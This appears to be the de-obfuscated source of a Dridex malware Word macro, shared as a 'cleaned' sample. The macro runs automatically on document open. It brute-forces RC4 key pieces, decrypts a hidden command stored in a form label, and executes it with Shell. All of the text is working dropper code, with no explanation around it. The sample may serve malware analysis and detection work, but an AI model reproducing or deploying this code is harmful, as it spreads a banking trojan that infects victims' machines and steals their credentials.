dridex.vb's cleaned - removed garbage code

dridex_cleaned.vb

Dim SRNATGh() As Byte
Dim AsVWQk(15812 - 6812) As Long, YeAeXXV(10269 - 270) As Long

****************************************************************************************************
Private Sub GmY()

Dim N42Wo() As String, RJz As Integer

N42Wo = Split(UserForm1.Label1.Caption, Qxd7GSg(44))

Dim U7PlAu3 As String
ReDim SRNATGh(3627)

For RJz = 0 To 3627
SRNATGh(RJz) = N42Wo(RJz)
Next RJz

Dim Mea As Long
Dim XSRK2vh(13) As Byte, SSXJM(36) As Byte

XSRK2vh(0) = 237
XSRK2vh(1) = 28
XSRK2vh(2) = 3
XSRK2vh(3) = 238
XSRK2vh(4) = 231
XSRK2vh(5) = 14
XSRK2vh(6) = 250
XSRK2vh(7) = 213
XSRK2vh(8) = 86
XSRK2vh(9) = 253
XSRK2vh(10) = 10
XSRK2vh(11) = 215
XSRK2vh(12) = 237
XSRK2vh(13) = 58

SSXJM(0) = 79
SSXJM(1) = 88
SSXJM(2) = 80
SSXJM(3) = 87
SSXJM(4) = 89
SSXJM(5) = 77
SSXJM(6) = 101
SSXJM(7) = 50
SSXJM(8) = 86
SSXJM(9) = 118
SSXJM(10) = 54
SSXJM(11) = 70
SSXJM(12) = 120
SSXJM(13) = 90
SSXJM(14) = 103
SSXJM(15) = 117
SSXJM(16) = 65

For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
SSXJM(17) = UMI(Mea, 1)
SSXJM(18) = UMI(Mea, 2)
SSXJM(19) = UMI(Mea, 3)
SSXJM(20) = UMI(Mea, 4)
SSXJM(21) = SSXJM(17)
SSXJM(22) = SSXJM(18)
SSXJM(23) = SSXJM(19)
SSXJM(24) = SSXJM(20)
SSXJM(25) = SSXJM(17)
SSXJM(26) = SSXJM(18)
SSXJM(27) = SSXJM(19)
SSXJM(28) = SSXJM(20)
SSXJM(29) = SSXJM(17)
SSXJM(30) = SSXJM(18)
SSXJM(31) = SSXJM(19)
SSXJM(32) = SSXJM(20)
SSXJM(33) = SSXJM(17)
SSXJM(34) = SSXJM(18)
SSXJM(35) = SSXJM(19)
SSXJM(36) = SSXJM(20)
If Cv8Cg3(XSRK2vh, SSXJM) = "TYTKJQBmiDtlWm" Then Exit For
Next Mea

Dim NYAqlva(10) As Byte, DjFRc(35) As Byte

NYAqlva(0) = 86
NYAqlva(1) = 3
NYAqlva(2) = 109
NYAqlva(3) = 200
NYAqlva(4) = 61
NYAqlva(5) = 230
NYAqlva(6) = 34
NYAqlva(7) = 53
NYAqlva(8) = 211
NYAqlva(9) = 172
NYAqlva(10) = 225

Dim U7PlAu12 As String
DjFRc(0) = 77
DjFRc(1) = 120
DjFRc(2) = 69
DjFRc(3) = 90
DjFRc(4) = 107
DjFRc(5) = 89
DjFRc(6) = 72
DjFRc(7) = 100
DjFRc(8) = 52
DjFRc(9) = 87
DjFRc(10) = 87
DjFRc(11) = 105
DjFRc(12) = 84
DjFRc(13) = 55
DjFRc(14) = 52
DjFRc(15) = 89

For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
DjFRc(16) = UMI(Mea, 1)
DjFRc(17) = UMI(Mea, 2)
DjFRc(18) = UMI(Mea, 3)
DjFRc(19) = UMI(Mea, 4)
DjFRc(20) = DjFRc(16)
DjFRc(21) = DjFRc(17)
DjFRc(22) = DjFRc(18)
DjFRc(23) = DjFRc(19)
DjFRc(24) = DjFRc(16)
DjFRc(25) = DjFRc(17)
DjFRc(26) = DjFRc(18)
DjFRc(27) = DjFRc(19)
DjFRc(28) = DjFRc(16)
DjFRc(29) = DjFRc(17)
DjFRc(30) = DjFRc(18)
DjFRc(31) = DjFRc(19)
DjFRc(32) = DjFRc(16)
DjFRc(33) = DjFRc(17)
DjFRc(34) = DjFRc(18)
DjFRc(35) = DjFRc(19)
If Cv8Cg3(NYAqlva, DjFRc) = "DHS4qvwNRXr" Then Exit For
Next Mea

Dim V9PbJkV(15) As Byte, LW(36) As Byte

V9PbJkV(0) = 41
V9PbJkV(1) = 167
V9PbJkV(2) = 214
V9PbJkV(3) = 167
V9PbJkV(4) = 44
V9PbJkV(5) = 230
V9PbJkV(6) = 182
V9PbJkV(7) = 5
V9PbJkV(8) = 218
V9PbJkV(9) = 85
V9PbJkV(10) = 185
V9PbJkV(11) = 32
V9PbJkV(12) = 31
V9PbJkV(13) = 179
V9PbJkV(14) = 43
V9PbJkV(15) = 107

LW(0) = 85
LW(1) = 54
LW(2) = 83
LW(3) = 84
LW(4) = 76
LW(5) = 75
LW(6) = 118
LW(7) = 119
LW(8) = 56
LW(9) = 85
LW(10) = 90
LW(11) = 66
LW(12) = 115
LW(13) = 97
LW(14) = 115
LW(15) = 56
LW(16) = 90

For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
LW(17) = UMI(Mea, 1)
LW(18) = UMI(Mea, 2)
LW(19) = UMI(Mea, 3)
LW(20) = UMI(Mea, 4)
LW(21) = LW(17)
LW(22) = LW(18)
LW(23) = LW(19)
LW(24) = LW(20)
LW(25) = LW(17)
LW(26) = LW(18)
LW(27) = LW(19)
LW(28) = LW(20)
LW(29) = LW(17)
LW(30) = LW(18)
LW(31) = LW(19)
LW(32) = LW(20)
LW(33) = LW(17)
LW(34) = LW(18)
LW(35) = LW(19)
LW(36) = LW(20)
If Cv8Cg3(V9PbJkV, LW) = "QjthqMM0nBOiLvHY" Then Exit For
Next Mea

Dim NSJBW7B(15) As Byte, K2Z(37) As Byte

'ingredient
NSJBW7B(0) = 171
NSJBW7B(1) = 107
NSJBW7B(2) = 175
NSJBW7B(3) = 221
NSJBW7B(4) = 59
NSJBW7B(5) = 101
NSJBW7B(6) = 156
NSJBW7B(7) = 9
NSJBW7B(8) = 207
NSJBW7B(9) = 162
NSJBW7B(10) = 59
NSJBW7B(11) = 196
NSJBW7B(12) = 242
NSJBW7B(13) = 21
NSJBW7B(14) = 42
NSJBW7B(15) = 42

K2Z(0) = 73
K2Z(1) = 101
K2Z(2) = 103
K2Z(3) = 108
K2Z(4) = 69
K2Z(5) = 54
K2Z(6) = 73
K2Z(7) = 70
K2Z(8) = 117
K2Z(9) = 101
K2Z(10) = 66
K2Z(11) = 89
K2Z(12) = 118
K2Z(13) = 69
K2Z(14) = 83
K2Z(15) = 66
K2Z(16) = 90
K2Z(17) = 98

For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
K2Z(18) = UMI(Mea, 1)
K2Z(19) = UMI(Mea, 2)
K2Z(20) = UMI(Mea, 3)
K2Z(21) = UMI(Mea, 4)
K2Z(22) = K2Z(18)
K2Z(23) = K2Z(19)
K2Z(24) = K2Z(20)
K2Z(25) = K2Z(21)
K2Z(26) = K2Z(18)
K2Z(27) = K2Z(19)
K2Z(28) = K2Z(20)
K2Z(29) = K2Z(21)
K2Z(30) = K2Z(18)
K2Z(31) = K2Z(19)
K2Z(32) = K2Z(20)
K2Z(33) = K2Z(21)
K2Z(34) = K2Z(18)
K2Z(35) = K2Z(19)
K2Z(36) = K2Z(20)
K2Z(37) = K2Z(21)
If Cv8Cg3(NSJBW7B, K2Z) = "BZay9OtzSvNJpWTY" Then Exit For
Next Mea

Dim SiHbpw(147) As Byte, SIf As Long, CRfSt As Long
SIf = 0
CRfSt = 0

For Mea = 0 To OHb(SSXJM)
SiHbpw(Mea) = SSXJM(Mea)
SIf = SIf + 1
Next Mea

For Mea = OHb(SSXJM) + 1 To OHb(DjFRc) + SIf
SiHbpw(Mea) = DjFRc(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea

CRfSt = 0

For Mea = SIf To OHb(LW) + SIf
SiHbpw(Mea) = LW(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea

CRfSt = 0

For Mea = SIf To OHb(K2Z) + SIf
SiHbpw(Mea) = K2Z(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea

OcMm1T = Cv8Cg3(SRNATGh, SiHbpw)

Shell OcMm1T, (374 - 374)

End Sub
****************************************************************************************************

****************************************************************************************************
Private Sub GwQ9d()

End Sub
****************************************************************************************************

****************************************************************************************************
Private Function Qxd7GSg(ByVal BHxHFg As Integer) As String

Dim Wz(1) As Byte, KPA3  As Byte, LrdfxYI  As Byte

If BHxHFg < 0 Then Exit Function

If BHxHFg > 255 Then

LrdfxYI = 0

Else

KPA3 = BHxHFg
LrdfxYI = 0

End If

Wz(0) = KPA3
Wz(1) = LrdfxYI

Qxd7GSg = Wz

End Function
****************************************************************************************************

****************************************************************************************************
Private Function Cv8Cg3(K2fkl() As Byte, TBfWWQw() As Byte) As String

Dim DkB(0 To 255) As Integer, TzwC2o8 As Long, JuxOGCD As Long, YpxaVbI As Long, TjCv As Byte, GA() As Byte, OT() As Byte
ReDim GA(OHb(K2fkl)) As Byte
GA = K2fkl
ReDim OT(OHb(TBfWWQw)) As Byte
OT = TBfWWQw

For TzwC2o8 = 0 To 255
DkB(TzwC2o8) = TzwC2o8
Next TzwC2o8

TzwC2o8 = 0
JuxOGCD = 0
YpxaVbI = 0

For TzwC2o8 = 0 To 255
JuxOGCD = SGo0s((JuxOGCD + DkB(TzwC2o8) + OT(SGo0s(TzwC2o8, (OHb(TBfWWQw) + 1)))), (256))
TjCv = DkB(TzwC2o8)
DkB(TzwC2o8) = DkB(JuxOGCD)
DkB(JuxOGCD) = TjCv
Next TzwC2o8

TzwC2o8 = 0
JuxOGCD = 0
YpxaVbI = 0

For TzwC2o8 = 0 To OHb(K2fkl)
JuxOGCD = SGo0s((JuxOGCD + 1), 256)
YpxaVbI = SGo0s((YpxaVbI + DkB(JuxOGCD)), 256)
TjCv = DkB(JuxOGCD)
DkB(JuxOGCD) = DkB(YpxaVbI)
DkB(YpxaVbI) = TjCv
GA(TzwC2o8) = Iy23W(GA(TzwC2o8), (DkB(SGo0s((DkB(JuxOGCD) + DkB(YpxaVbI)), (256)))))
Next TzwC2o8

Cv8Cg3 = M6C(GA)

End Function
****************************************************************************************************

****************************************************************************************************
Private Function Iy23W(Y4lZ, RvJWmVD)

Iy23W = (Y4lZ And Not RvJWmVD) Or (Not Y4lZ And RvJWmVD)

End Function
****************************************************************************************************

****************************************************************************************************
Private Function OHb(ByVal Uv0ZqrD As Variant) As Long

Dim Jkpzfs As Long, SzvYWV As Variant

Do
SzvYWV = Uv0ZqrD(Jkpzfs)
Jkpzfs = Jkpzfs + 1
Loop

If Jkpzfs = 0 Then Exit Function

OHb = Jkpzfs - 1

End Function
****************************************************************************************************

****************************************************************************************************
Private Function CHnp(ByVal KJJPl As String, ByVal To8G4k As Long, ByVal Fbz As Variant) As String

'abstained
Dim KXC0() As Byte, RZiZ4() As Byte, Lvd As Long, XhKwG As Long

KXC0 = KJJPl
Lvd = OHb(KXC0)
To8G4k = (To8G4k - 1) * 2
Fbz = (Fbz * 2) - 1

If To8G4k + Fbz > Lvd Then Fbz = Lvd - To8G4k

ReDim RZiZ4(Fbz)

For XhKwG = To8G4k To To8G4k + Fbz
RZiZ4(XhKwG - To8G4k) = KXC0(XhKwG)
Next XhKwG

CHnp = RZiZ4

End Function
*****************************************************************************************************

*****************************************************************************************************
Private Function UMI(AavXhKZ As Long, QUvjvie As Long) As Byte

Dim E9 As Long, Yp As Long

For E9 = 48 To 57
If CHnp(AavXhKZ, QUvjvie, 1) = Yp Then UMI = E9: Exit For
Yp = Yp + 1
Next E9

End Function
*****************************************************************************************************

*****************************************************************************************************
Private Sub dOCuMeNt_oPEN()

On Error Resume Next

Dim Mbau As Long, FS7rPff As Long, UN83e3l As Long

Mbau = 91034

For FS7rPff = 1 To Mbau
UN83e3l = UN83e3l + 1
Next FS7rPff

If UN83e3l = Mbau Then

GmY

Else

GwQ9d

End If

End Sub
*****************************************************************************************************

*****************************************************************************************************
Private Function M6C(PWwslQ6() As Byte) As String

Dim UmtI5E As Long
'invades

For UmtI5E = 0 To OHb(PWwslQ6)

M6C = M6C & Qxd7GSg(PWwslQ6(UmtI5E))

Next UmtI5E

End Function
*****************************************************************************************************

*****************************************************************************************************
Private Function SGo0s(TUO, KDSkW)

SGo0s = TUO - (KDSkW * (TUO \ KDSkW))

End Function
*****************************************************************************************************